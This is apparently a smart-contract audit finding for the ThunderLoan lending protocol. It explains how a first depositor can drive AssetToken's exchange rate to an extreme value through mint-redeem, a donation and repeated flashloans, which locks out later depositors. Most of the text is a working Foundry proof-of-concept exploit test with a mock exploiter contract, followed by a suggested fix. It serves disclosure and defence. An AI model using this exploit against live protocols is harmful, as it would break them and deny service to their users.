The first user in AssetToken is able to manipulate the exchangeRate to a considerably high value at almost no cost, preventing other users from interacting with the protocol normally.
The first user in AssetToken can manipulate assetToken.totalSupply() to a very small value through a process of minting and redeeming.
Subsequently, by donating a sum of money to AssetToken and borrowing the donated funds through the flashloan, assetToken.updateExchangeRate(fee) is triggered.
Since assetToken.totalSupply() is almost zero at this point, the calculation method for assetToken.exchangeRate allows a very small fee to exponentially increase the exchange rate.
By repeating this flashloan process, the assetToken.exchangeRate can be manipulated to an extremely large number, resulting in other users being unable to obtain any AssetToken shares when depositing funds, causing the protocol to become inoperable.
pragma solidity 0.8.20;
import { Test, console } from "forge-std/Test.sol";
import { BaseTest, ThunderLoan } from "./BaseTest.t.sol";
import { AssetToken } from "../../src/protocol/AssetToken.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract ThunderLoanDosTest is BaseTest {
uint256 constant AMOUNT = 10e18;
uint256 constant DEPOSIT_AMOUNT = AMOUNT * 1000;
address liquidityProvider = address(123);
address exploiter = address(456);
address victim = address(789);
address user = address(987);
MockFlashLoanExploiter mockFlashLoanReceiver;
function setUp() public override {
super.setUp();
vm.prank(user);
}
modifier setAllowedToken() {
vm.prank(thunderLoan.owner());
thunderLoan.setAllowedToken(tokenA, true);
_;
}
function testExploitDos() public setAllowedToken {
console.log("stage-1: manipulate totalSupply&underlyingTokenBalance");
vm.startPrank(exploiter);
tokenA.mint(exploiter, 334);
tokenA.approve(address(thunderLoan), 334);
thunderLoan.deposit(tokenA, 334);
AssetToken asset = thunderLoan.getAssetFromToken(tokenA);
uint256 exchangeRate = asset.getExchangeRate();
uint256 redeemAbleAmount = 334 * 1e18 / exchangeRate;
thunderLoan.redeem(tokenA, redeemAbleAmount);
emit log_named_decimal_uint("AssetToken totalSupply", asset.totalSupply(), asset.decimals());
emit log_named_decimal_uint("AssetToken underlying token balance", tokenA.balanceOf(address(asset)), tokenA.decimals());
console.log("\n stage-2: donate fund, repeat flashloan muptiple times to increase exchangeRate");
mockFlashLoanReceiver = new MockFlashLoanExploiter(address(asset));
tokenA.mint(exploiter, 100 + 334);
tokenA.transfer(address(mockFlashLoanReceiver), 100);
tokenA.transfer(address(asset), 334);
for(uint i; i < 100; ++i) {
thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA, 334, "");
}
console.log("Protocol exchangeRate", asset.getExchangeRate()/1e18);
emit log_named_decimal_uint("AssetToken totalSupply", asset.totalSupply(), asset.decimals());
emit log_named_decimal_uint("AssetToken underlying token balance", tokenA.balanceOf(address(asset)), tokenA.decimals());
vm.stopPrank();
console.log("\n stage-3: victim deposit ");
vm.startPrank(victim);
tokenA.mint(victim, DEPOSIT_AMOUNT);
tokenA.approve(address(thunderLoan), DEPOSIT_AMOUNT);
thunderLoan.deposit(tokenA, DEPOSIT_AMOUNT);
emit log_named_decimal_uint("The victim token deposit amount", DEPOSIT_AMOUNT, tokenA.decimals());
emit log_named_decimal_uint("The amount of assetToken token in victim", asset.balanceOf(victim), asset.decimals());
vm.stopPrank();
}
}
contract MockFlashLoanExploiter {
address asset;
constructor(address a) {
asset = a;
}
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address initiator,
bytes calldata
)
external
returns (bool)
{
IERC20(token).transfer(asset, amount + fee);
return true;
}
}
The PoC only demonstrates the most basic scenario, and the severity of the harm can be increased by raising the fee paid with each flashloan.
Protocol will be broken.
Add checks to ensure that the token amount of each flashloan is not greater than (assetToken.totalsupply * assetToken.exchangeRate).